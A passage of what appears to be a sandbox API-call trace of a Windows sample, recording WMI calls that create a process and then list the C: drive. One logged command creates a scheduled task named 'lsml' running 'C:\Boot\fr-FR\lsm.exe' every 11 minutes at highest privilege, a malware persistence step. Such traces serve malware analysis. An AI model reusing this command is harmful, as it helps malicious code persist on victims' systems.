pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0084.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e7f0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1c02e7f0) returned 0x0 [0084.042] WbemDefPath:IUnknown:AddRef (This=0x1c02e7f0) returned 0x3 [0084.042] WbemDefPath:IUnknown:Release (This=0x1c02e7f0) returned 0x2 [0084.042] WbemDefPath:IWbemPath:SetText (This=0x1c02e7f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0084.042] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.042] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0084.042] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.043] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.043] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.043] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.043] IUnknown:Release (This=0x111f638) returned 0x1 [0084.045] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf777b0) returned 0x0 [0084.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf777b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.048] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf777b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02e730) returned 0x0 [0084.048] WbemDefPath:IUnknown:Release (This=0x1bf777b0) returned 0x0 [0084.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02e730) returned 0x0 [0084.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.048] WbemDefPath:IUnknown:AddRef (This=0x1c02e730) returned 0x3 [0084.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77670) returned 0x0 [0084.048] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77670, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.048] WbemDefPath:IUnknown:Release (This=0x1bf77670) returned 0x3 [0084.048] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.049] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.049] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x2 [0084.049] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x1 [0084.049] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.049] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02e730, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02e730) returned 0x0 [0084.049] WbemDefPath:IUnknown:AddRef (This=0x1c02e730) returned 0x3 [0084.049] WbemDefPath:IUnknown:Release (This=0x1c02e730) returned 0x2 [0084.049] WbemDefPath:IWbemPath:SetText (This=0x1c02e730, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e7f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e730, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e730, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e730, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0084.049] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02e7f0) returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e730, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e730, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e730, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0084.049] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02e7f0, uIndex=0x0, pszName="root") returned 0x0 [0084.049] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e730, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02e730, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0084.050] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02e7f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02e730, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02e730, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02e7f0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02e7f0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02e7f0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02e7f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0084.050] WbemDefPath:IWbemPath:GetText (in: This=0x1c02e7f0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0084.051] IWbemServices:GetObject (in: This=0x1bf29d90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c028d60, ppCallResult=0x0) returned 0x0 [0084.079] IWbemClassObject:GetMethod (in: This=0x1c028d60, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1c0290d0, ppOutSignature=0x1b2fd9e0*=0x1c029440) returned 0x0 [0084.079] IWbemClassObject:SpawnInstance (in: This=0x1c0290d0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf44330) returned 0x0 [0084.080] IWbemClassObject:Get (in: This=0x1bf44330, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290aad8*=0, plFlavor=0x290aadc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290aad8*=8, plFlavor=0x290aadc*=32) returned 0x0 [0084.080] IWbemClassObject:Get (in: This=0x1bf44330, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290aad8*=8, plFlavor=0x290aadc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290aad8*=8, plFlavor=0x290aadc*=32) returned 0x0 [0084.080] IWbemClassObject:Put (This=0x1bf44330, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 11 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0084.080] IWbemClassObject:Get (in: This=0x1bf44330, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290ab68*=0, plFlavor=0x290ab6c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290ab68*=13, plFlavor=0x290ab6c*=32) returned 0x0 [0084.081] IWbemClassObject:Get (in: This=0x1bf44330, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290ab68*=13, plFlavor=0x290ab6c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290ab68*=13, plFlavor=0x290ab6c*=32) returned 0x0 [0084.081] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c028680) returned 0x0 [0084.081] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0084.081] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0084.081] IUnknown:AddRef (This=0x1c028680) returned 0x3 [0084.081] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0084.081] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0084.081] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c028688) returned 0x0 [0084.082] IMarshal:GetUnmarshalClass (in: This=0x1c028688, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0084.082] IUnknown:Release (This=0x1c028688) returned 0x3 [0084.082] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0084.082] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0084.082] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0084.082] IUnknown:Release (This=0x1c028680) returned 0x2 [0084.082] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0084.082] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0084.082] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0084.082] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0084.082] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0084.082] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0084.082] IUnknown:AddRef (This=0x1c028680) returned 0x3 [0084.082] IWbemClassObject:Put (This=0x1bf44330, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c028680, varVal2=0x0), Type=0) returned 0x0 [0084.082] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ebb0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ebb0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ebb0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ebb0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0084.083] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ebb0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0084.083] IWbemServices:ExecMethod (in: This=0x1bf29d90, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf44330, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf445e0, ppCallResult=0x0) returned 0x0 [0084.373] IWbemClassObject:Get (in: This=0x1bf445e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290ae80*=0, plFlavor=0x290ae84*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x368, varVal2=0x0), pType=0x290ae80*=19, plFlavor=0x290ae84*=0) returned 0x0 [0084.374] IWbemClassObject:Get (in: This=0x1bf445e0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x290ae80*=19, plFlavor=0x290ae84*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x368, varVal2=0x0), pType=0x290ae80*=19, plFlavor=0x290ae84*=0) returned 0x0 [0084.374] CoTaskMemAlloc (cb=0x20c) returned 0x11632e0 [0084.374] GetSystemDirectoryW (in: lpBuffer=0x11632e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0084.375] CoTaskMemFree (pv=0x11632e0) [0084.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0084.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.376] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bfbec90 [0084.376] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0084.376] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0084.376] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0084.376] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0084.376] FindNextFileW (in: 